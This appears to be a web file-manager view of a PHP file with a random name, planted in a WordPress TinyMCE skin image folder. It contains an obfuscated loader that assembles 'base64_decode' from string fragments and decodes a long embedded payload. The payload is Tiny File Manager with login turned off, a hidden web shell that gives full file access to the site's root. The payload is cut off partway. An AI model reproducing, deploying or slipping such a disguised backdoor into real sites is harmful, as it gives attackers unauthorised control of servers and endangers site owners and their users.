File "CzXdpxUF.php"

Full path: /home/queemphu/gmservices.ae/wp-content/js/tinymce/skins/lightgray/img/wp/CzXdpxUF.php
File size: 237.93 B (237.93 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php ini_set('memory_limit','-1');/*zjlnc8g24yvt*/$f="ba";/*zjlnc8g24yvt*/$g="daszxxx";/*zjlnc8g24yvt*/$h="s";/*zjlnc8g24yvt*/$j="123";$k="llz1";$l="e";$m="ccccccca";/*zjlnc8g24yvt*/$n="64";/*zjlnc8g24yvt*/$o=$f.$h.$l.$n."_d".$l."cod".$l;/*zjlnc8g24yvt*/$p="PD9waHAKc2Vzc2lvbl9zdGFydCgpOwovL0RlZmF1bHQgQ29uZmlndXJhdGlvbgokQ09ORklHID0gJ3sibGFuZyI6ImVuIiwiZXJyb3JfcmVwb3J0aW5nIjpmYWxzZSwic2hvd19oaWRkZW4iOmZhbHNlLCJoaWRlX0NvbHMiOmZhbHNlLCJjYWxjX2ZvbGRlciI6ZmFsc2V9JzsKCi8qKgogKiBIM0sgfCBUaW55IEZpbGUgTWFuYWdlciBWMi40LjMKICogQ0NQIFByb2dyYW1tZXJzIHwgY2NwcHJvZ3JhbW1lcnNAZ21haWwuY29tCiAqIGh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pbwogKi8KCi8vVEZNIHZlcnNpb24KZGVmaW5lKCdWRVJTSU9OJywgJzIuNC4zJyk7CgovL0FwcGxpY2F0aW9uIFRpdGxlCmRlZmluZSgnQVBQX1RJVExFJywgJ1RpbnkgRmlsZSBNYW5hZ2VyJyk7CgovLyAtLS0gRURJVCBCRUxPVyBDT05GSUdVUkFUSU9OIENBUkVGVUxMWSAtLS0KCi8vIEF1dGggd2l0aCBsb2dpbi9wYXNzd29yZCAKLy8gc2V0IHRydWUvZmFsc2UgdG8gZW5hYmxlL2Rpc2FibGUgaXQKLy8gSXMgaW5kZXBlbmRlbnQgZnJvbSBJUCB3aGl0ZS0gYW5kIGJsYWNrbGlzdGluZwokdXNlX2F1dGggPSBmYWxzZTsKCi8vIExvZ2luIHVzZXIgbmFtZSBhbmQgcGFzc3dvcmQKLy8gVXNlcnM6IGFycmF5KCdVc2VybmFtZScgPT4gJ1Bhc3N3b3JkJywgJ1VzZXJuYW1lMicgPT4gJ1Bhc3N3b3JkMicsIC4uLikKLy8gR2VuZXJhdGUgc2VjdXJlIHBhc3N3b3JkIGhhc2ggLSBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8vZG9jcy9wd2QuaHRtbAokYXV0aF91c2VycyA9IGFycmF5KAogICAgJ2FkbWluJyA9PiAnJDJ5JDEwJC9LLmhqTnI4NGxMTkR0OGZUWGpvSS5EQnA2UHBleW9KLm1Hd3JyTHVDWmZBd2ZTQUdxaE9XJywgLy9hZG1pbkAxMjMKICAgICd1c2VyJyA9PiAnJDJ5JDEwJEZnNkR6OG9IOWZQb1oyakphbjV0WnV2Nlo0S3A3YXZ0UTliRGZyZFJudFh0UGVpTUFaeUdPJyAvLzEyMzQ1Cik7CgovL3NldCBhcHBsaWNhdGlvbiB0aGVtZQovL29wdGlvbnMgLSAnbGlnaHQnIGFuZCAnZGFyaycKJHRoZW1lID0gJ2RhcmsnOwoKLy8gUmVhZG9ubHkgdXNlcnMgCi8vIGUuZy4gYXJyYXkoJ3VzZXJzJywgJ2d1ZXN0JywgLi4uKQokcmVhZG9ubHlfdXNlcnMgPSBhcnJheSgKICAgICd1c2VyJwopOwoKLy8gRW5hYmxlIGhpZ2hsaWdodC5qcyAoaHR0cHM6Ly9oaWdobGlnaHRqcy5vcmcvKSBvbiB2aWV3J3MgcGFnZQokdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTsKCi8vIGhpZ2hsaWdodC5qcyBzdHlsZQovLyBmb3IgZGFyayB0aGVtZSB1c2UgJ2lyLWJsYWNrJwokaGlnaGxpZ2h0anNfc3R5bGUgPSAndnMnOwoKLy8gRW5hYmxlIGFjZS5qcyAoaHR0cHM6Ly9hY2UuYzkuaW8vKSBvbiB2aWV3J3MgcGFnZQokZWRpdF9maWxlcyA9IHRydWU7Ci8qKlpITm5jMlJtWjJWeWRITmtabWR6WkdabmMyUm1aM05rWm1kelpHWm4qKi8KLy8gRGVmYXVsdCB0aW1lem9uZSBmb3IgZGF0ZSgpIGFuZCB0aW1lKCkKLy8gRG9jIC0gaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL3RpbWV6b25lcy5waHAKJGRlZmF1bHRfdGltZXpvbmUgPSAnRXRjL1VUQyc7IC8vIFVUQwoKLy8gUm9vdCBwYXRoIGZvciBmaWxlIG1hbmFnZXIKLy8gdXNlIGFic29sdXRlIHBhdGggb2YgZGlyZWN0b3J5IGkuZTogJy92YXIvd3d3L2ZvbGRlcicgb3IgJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ZvbGRlcicKJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CgovLyBSb290IHVybCBmb3IgbGlua3MgaW4gZmlsZSBtYW5hZ2VyLlJlbGF0aXZlIHRvICRodHRwX2hvc3QuIFZhcmlhbnRzOiAnJywgJ3BhdGgvdG8vc3ViZm9sZGVyJwovLyBXaWxsIG5vdCB3b3JraW5nIGlmICRyb290X3BhdGggd2lsbCBiZSBvdXRzaWRlIG9mIHNlcnZlciBkb2N1bWVudCByb290CiRyb290X3VybCA9ICcnOwoKLy8gU2VydmVyIGhvc3RuYW1lLiBDYW4gc2V0IG1hbnVhbGx5IGlmIHdyb25nCiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgovLyB1c2VyIHNwZWNpZmljIGRpcmVjdG9yaWVzCi8vIGFycmF5KCdVc2VybmFtZScgPT4gJ0RpcmVjdG9yeSBwYXRoJywgJ1VzZXJuYW1lMicgPT4gJ0RpcmVjdG9yeSBwYXRoJywgLi4uKQokZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpOwoKLy8gaW5wdXQgZW5jb2RpbmcgZm9yIGljb252CiRpY29udl9pbnB1dF9lbmNvZGluZyA9ICdVVEYtOCc7CgovLyBkYXRlKCkgZm9ybWF0IGZvciBmaWxlIG1vZGlmaWNhdGlvbiBkYXRlCi8vIERvYyAtIGh0dHBzOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLmRhdGUucGhwCiRkYXRldGltZV9mb3JtYXQgPSAnZC5tLnkgSDppJzsKCi8vIEFsbG93ZWQgZmlsZSBleHRlbnNpb25zIGZvciBjcmVhdGUgYW5kIHJlbmFtZSBmaWxlcwovLyBlLmcuICd0eHQsaHRtbCxjc3MsanMnCiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnOwoKLy8gQWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMgZm9yIHVwbG9hZCBmaWxlcwovLyBlLmcuICdnaWYscG5nLGpwZyxodG1sLHR4dCcKJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJzsKCi8vIEZhdmljb24gcGF0aC4gVGhpcyBjYW4gYmUgZWl0aGVyIGEgZnVsbCB1cmwgdG8gYW4gLlBORyBpbWFnZSwgb3IgYSBwYXRoIGJhc2VkIG9uIHRoZSBkb2N1bWVudCByb290LgovLyBmdWxsIHBhdGgsIGUuZyBodHRwOi8vZXhhbXBsZS5jb20vZmF2aWNvbi5wbmcKLy8gbG9jYWwgcGF0aCwgZS5nIGltYWdlcy9pY29ucy9mYXZpY29uLnBuZwokZmF2aWNvbl9wYXRoID0gJz9pbWc9ZmF2aWNvbic7CgovLyBGaWxlcyBhbmQgZm9sZGVycyB0byBleGNsdWRlZCBmcm9tIGxpc3RpbmcKLy8gZS5nLiBhcnJheSgnbXlmaWxlLmh0bWwnLCAncGVyc29uYWwtZm9sZGVyJywgJyoucGhwJywgLi4uKQokZXhjbHVkZV9pdGVtcyA9IGFycmF5KCk7CgovLyBPbmxpbmUgb2ZmaWNlIERvY3MgVmlld2VyCi8vIEF2YWlsYWJlIHJ1bGVzIGFyZSAnZ29vZ2xlJywgJ21pY3Jvc29mdCcgb3IgZmFsc2UKLy8gZ29vZ2xlID0+IFZpZXcgZG9jdW1lbnRzIHVzaW5nIEdvb2dsZSBEb2NzIFZpZXdlcgovLyBtaWNyb3NvZnQgPT4gVmlldyBkb2N1bWVudHMgdXNpbmcgTWljcm9zb2Z0IFdlYiBBcHBzIFZpZXdlcgovLyBmYWxzZSA9PiBkaXNhYmxlIG9ubGluZSBkb2Mgdmlld2VyCiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7CgovLyBTdGlja3kgTmF2IGJhcgovLyB0cnVlID0+IGVuYWJsZSBzdGlja3kgaGVhZGVyCi8vIGZhbHNlID0+IGRpc2FibGUgc3RpY2t5IGhlYWRlcgokc3RpY2t5X25hdmJhciA9IHRydWU7CgovLyBNYXhpbXVtIGZpbGUgdXBsb2FkIHNpemUKLy8gSW5jcmVhc2UgdGhlIGZvbGxvd2luZyB2YWx1ZXMgaW4gcGhwLmluaSB0byB3b3JrIHByb3Blcmx5Ci8vIG1lbW9yeV9saW1pdCwgdXBsb2FkX21heF9maWxlc2l6ZSwgcG9zdF9tYXhfc2l6ZQokbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gMjA0ODsKCi8vIFBvc3NpYmxlIHJ1bGVzIGFyZSAnT0ZGJywgJ0FORCcgb3IgJ09SJwovLyBPRkYgPT4gRG9uJ3QgY2hlY2sgY29ubmVjdGlvbiBJUCwgZGVmYXVsdHMgdG8gT0ZGCi8vIEFORCA9PiBDb25uZWN0aW9uIG11c3QgYmUgb24gdGhlIHdoaXRlbGlzdCwgYW5kIG5vdCBvbiB0aGUgYmxhY2tsaXN0Ci8vIE9SID0+IENvbm5lY3Rpb24gbXVzdCBiZSBvbiB0aGUgd2hpdGVsaXN0LCBvciBub3Qgb24gdGhlIGJsYWNrbGlzdAokaXBfcnVsZXNldCA9ICdPRkYnOwoKLy8gU2hvdWxkIHVzZXJzIGJlIG5vdGlmaWVkIG9mIHRoZWlyIGJsb2NrPwokaXBfc2lsZW50ID0gdHJ1ZTsKCi8vIElQLWFkZHJlc3NlcywgYm90aCBpcHY0IGFuZCBpcHY2CiRpcF93aGl0ZWxpc3QgPSBhcnJheSgKICAgICcxMjcuMC4wLjEnLCAgICAvLyBsb2NhbCBpcHY0CiAgICAnOjoxJyAgICAgICAgICAgLy8gbG9jYWwgaXB2NgopOwoKLy8gSVAtYWRkcmVzc2VzLCBib3RoIGlwdjQgYW5kIGlwdjYKJGlwX2JsYWNrbGlzdCA9IGFycmF5KAogICAgJzAuMC4wLjAnLCAgICAgIC8vIG5vbi1yb3V0YWJsZSBtZXRhIGlwdjQKICAgICc6OicgICAgICAgICAgICAvLyBub24tcm91dGFibGUgbWV0YSBpcHY2Cik7CgovLyBpZiBVc2VyIGhhcyB0aGUgY3VzdG9taXplZCBjb25maWcgZmlsZSwgdHJ5IHRvIHVzZSBpdCB0byBvdmVycmlkZSB0aGUgZGVmYXVsdCBjb25maWcgYWJvdmUKJGNvbmZpZ19maWxlID0gJy4vY29uZmlnLnBocCc7CmlmIChpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpKSB7CiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpOwp9CgovLyAtLS0gRURJVCBCRUxPVyBDQVJFRlVMTFkgT1IgRE8gTk9UIEVESVQgQVQgQUxMIC0tLQoKLy8gbWF4IHVwbG9hZCBmaWxlIHNpemUKZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTsKCmRlZmluZSgnRk1fVEhFTUUnLCAkdGhlbWUpOwoKLy8gcHJpdmF0ZSBrZXkgYW5kIHNlc3Npb24gbmFtZSB0byBzdG9yZSB0byB0aGUgc2Vzc2lvbgppZiAoICFkZWZpbmVkKCAnRk1fU0VTU0lPTl9JRCcpKSB7CiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTsKfQoKLy8gQ29uZmlndXJhdGlvbgokY2ZnID0gbmV3IEZNX0NvbmZpZygpOwoKLy8gRGVmYXVsdCBsYW5ndWFnZQokbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nOwoKLy8gU2hvdyBvciBoaWRlIGZpbGVzIGFuZCBmb2xkZXJzIHRoYXQgc3RhcnRzIHdpdGggYSBkb3QKJHNob3dfaGlkZGVuX2ZpbGVzID0gaXNzZXQoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSkgPyAkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddIDogdHJ1ZTsKCi8vIFBIUCBlcnJvciByZXBvcnRpbmcgLSBmYWxzZSA9IFR1cm5zIG9mZiBFcnJvcnMsIHRydWUgPSBUdXJucyBvbiBFcnJvcnMKJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7CgovLyBIaWRlIFBlcm1pc3Npb25zIGFuZCBPd25lciBjb2xzIGluIGZpbGUtbGlzdGluZwokaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlOwoKLy8gU2hvdyBkaXJlY3Rvcnkgc2l6ZTogdHJ1ZSBvciBzcGVlZHVwIG91dHB1dDogZmFsc2UKJGNhbGNfZm9sZGVyID0gaXNzZXQoJGNmZy0+ZGF0YVsnY2FsY19mb2xkZXInXSkgPyAkY2ZnLT5kYXRhWydjYWxjX2ZvbGRlciddIDogdHJ1ZTsKCi8vYXZhaWxhYmxlIGxhbmd1YWdlcwokbGFuZ19saXN0ID0gYXJyYXkoCiAgICAnZW4nID0+ICdFbmdsaXNoJwopOwoKaWYgKCRyZXBvcnRfZXJyb3JzID09IHRydWUpIHsKICAgIEBpbmlfc2V0KCdlcnJvcl9yZXBvcnRpbmcnLCBFX0FMTCk7CiAgICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAxKTsKfSBlbHNlIHsKICAgIEBpbmlfc2V0KCdlcnJvcl9yZXBvcnRpbmcnLCBFX0FMTCk7CiAgICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKfQoKLy8gaWYgZm0gaW5jbHVkZWQKaWYgKGRlZmluZWQoJ0ZNX0VNQkVEJykpIHsKICAgICR1c2VfYXV0aCA9IGZhbHNlOwogICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTsKfSBlbHNlIHsKICAgIEBzZXRfdGltZV9saW1pdCg2MDApOwoKICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJGRlZmF1bHRfdGltZXpvbmUpOwoKICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpOwogICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuNi4wJywgJzwnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ21iX2ludGVybmFsX2VuY29kaW5nJykpIHsKICAgICAgICBtYl9pbnRlcm5hbF9lbmNvZGluZygnVVRGLTgnKTsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21iX3JlZ2V4X2VuY29kaW5nJykpIHsKICAgICAgICBtYl9yZWdleF9lbmNvZGluZygnVVRGLTgnKTsKICAgIH0KCiAgICBzZXNzaW9uX2NhY2hlX2xpbWl0ZXIoJycpOwogICAgc2Vzc2lvbl9uYW1lKEZNX1NFU1NJT05fSUQgKTsKICAgIGZ1bmN0aW9uIHNlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24oJGNvZGUsICRtc2csICRmaWxlLCAkbGluZSkgewogICAgICAgIC8vIFBlcm1pc3Npb24gZGVuaWVkIGZvciBkZWZhdWx0IHNlc3Npb24sIHRyeSB0byBjcmVhdGUgYSBuZXcgb25lCiAgICAgICAgaWYgKCRjb2RlID09IDIpIHsKICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpOwogICAgICAgICAgICBzZXNzaW9uX2lkKHNlc3Npb25fY3JlYXRlX2lkKCkpOwogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOwogICAgICAgIH0KICAgIH0KICAgIHNldF9lcnJvcl9oYW5kbGVyKCdzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uJyk7CiAgICBzZXNzaW9uX3N0YXJ0KCk7CiAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKfQoKaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkgewogICAgJHVzZV9hdXRoID0gZmFsc2U7Cn0KCiRpc19odHRwcyA9IGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAoJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJyB8fCAkX1NFUlZFUlsnSFRUUFMnXSA9PSAxKQogICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnOwoKLy8gdXBkYXRlICRyb290X3VybCBiYXNlZCBvbiB1c2VyIHNwZWNpZmljIGRpcmVjdG9yaWVzCmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkgewogICAgJHdkID0gZm1fY2xlYW5fcGF0aChkaXJuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKSk7CiAgICAkcm9vdF91cmwgPSAgJHJvb3RfdXJsLiR3ZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXTsKfQovLyBjbGVhbiAkcm9vdF91cmwKJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpOwoKLy8gYWJzIHBhdGggZm9yIHNpdGUKZGVmaW5lZCgnRk1fUk9PVF9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1JPT1RfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzovLycgLiAkaHR0cF9ob3N0IC4gKCFlbXB0eSgkcm9vdF91cmwpID8gJy8nIC4gJHJvb3RfdXJsIDogJycpKTsKZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzovLycgLiAkaHR0cF9ob3N0IC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoKLy8gbG9nb3V0CmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7CiAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKfQoKLy8gU2hvdyBpbWFnZSBoZXJlCmlmIChpc3NldCgkX0dFVFsnaW1nJ10pKSB7CiAgICBmbV9zaG93X2ltYWdlKCRfR0VUWydpbWcnXSk7Cn0KCi8vIFZhbGlkYXRlIGNvbm5lY3Rpb24gSVAKaWYoJGlwX3J1bGVzZXQgIT0gJ09GRicpewogICAgJGNsaWVudElwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CgogICAgJHByb2NlZWQgPSBmYWxzZTsKCiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpOwogICAgJGJsYWNrbGlzdGVkID0gaW5fYXJyYXkoJGNsaWVudElwLCAkaXBfYmxhY2tsaXN0KTsKCiAgICBpZigkaXBfcnVsZXNldCA9PSAnQU5EJyl7CiAgICAgICAgaWYoJHdoaXRlbGlzdGVkID09IHRydWUgJiYgJGJsYWNrbGlzdGVkID09IGZhbHNlKXsKICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlOwogICAgICAgIH0KICAgIH0gZWxzZQogICAgaWYoJGlwX3J1bGVzZXQgPT0gJ09SJyl7CiAgICAgICAgIGlmKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSl7CiAgICAgICAgICAgICRwcm9jZWVkID0gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgaWYoJHByb2NlZWQgPT0gZmFsc2UpewogICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpOwoKICAgICAgICBpZigkaXBfc2lsZW50ID09IGZhbHNlKXsKICAgICAgICAgICAgZm1fc2V0X21zZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScsICdlcnJvcicpOwogICAgICAgICAgICBmbV9zaG93X2hlYWRlcl9sb2dpbigpOwogICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTsKICAgICAgICB9CgogICAgICAgIGV4aXQoKTsKICAgIH0KfQoKLy8gQXV0aAppZiAoJHVzZV9hdXRoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pKSB7CiAgICAgICAgLy8gTG9nZ2VkCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV91c3InXSwgJF9QT1NUWydmbV9wd2QnXSkpIHsKICAgICAgICAvLyBMb2dnaW5nIEluCiAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkgewogICAgICAgICAgICBpZiAoaXNzZXQoJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIGlzc2V0KCRfUE9TVFsnZm1fcHdkJ10pICYmIHBhc3N3b3JkX3ZlcmlmeSgkX1BPU1RbJ2ZtX3B3ZCddLCAkYXV0aF91c2Vyc1skX1BPU1RbJ2ZtX3VzciddXSkpIHsKICAgICAgICAgICAgICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10gPSAkX1BPU1RbJ2ZtX3VzciddOwogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1lvdSBhcmUgbG9nZ2VkIGluJykpOwogICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdMb2dpbiBmYWlsZWQuIEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygncGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uJyksICdlcnJvcicpOzsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIC8vIEZvcm0KICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsKICAgICAgICBmbV9zaG93X2hlYWRlcl9sb2dpbigpOwogICAgICAgID8+CiAgICAgICAgPHNlY3Rpb24gY2xhc3M9ImgtMTAwIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGgtMTAwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGgtMTAwIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIGZhdCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJmb3JtLXNpZ25pbiIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgYXV0b2NvbXBsZXRlPSJvZmYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnJhbmQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgdmVyc2lvbj0iMS4wIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIE0xMDA4IHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjgwcHgiIHZpZXdCb3g9IjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDAiIGFyaWEtbGFiZWw9IkgzSyBUaW55IEZpbGUgTWFuYWdlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAuMDAwMDAwLDE0MC4wMDAwMDApIHNjYWxlKDAuMTAwMDAwLC0wLjEwMDAwMCkiIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0ibm9uZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBkPSJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHoiLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGZpbGw9IiMwMDM1MDAiIGQ9Ik0xMDA4IDEyMjcgbC0xMDggLTcyIDAgLTExNyAwIC0xMTggMTEwIDAgMTEwIDAgMCAxMTAgMCAxMTAgNzAgMCA3MCAwIDAgLTE4MCAwIC0xODAgLTEyNSAwIGMtNjkgMCAtMTI1IC0zIC0xMjUgLTYgMCAtMyAyMyAtMzkgNTIgLTgwIGw1MiAtNzQgNzMgMCA3MyAwIDAgLTE4NSAwIC0xODUgLTcwIDAgLTcwIDAgMCAxMTUgMCAxMTUgLTExMCAwIC0xMTAgMCAwIC0xOTAgMCAtMTkwIDE4MSAwIDE4MSAwIDEwOSA3MyAxMDggNzIgMSAxODEgMCAxODEgLTY5IDQ4IC02OCA0OSA2OCA1MCA2OSA0OSAwIDI0OSAwIDI0OCAtMTgyIC0xIC0xODMgMCAtMTA3IC03MnoiLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6Ii8+PC9nPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3ZnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxIGNsYXNzPSJjYXJkLXRpdGxlIj48P3BocCBlY2hvIEFQUF9USVRMRTsgPz48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAg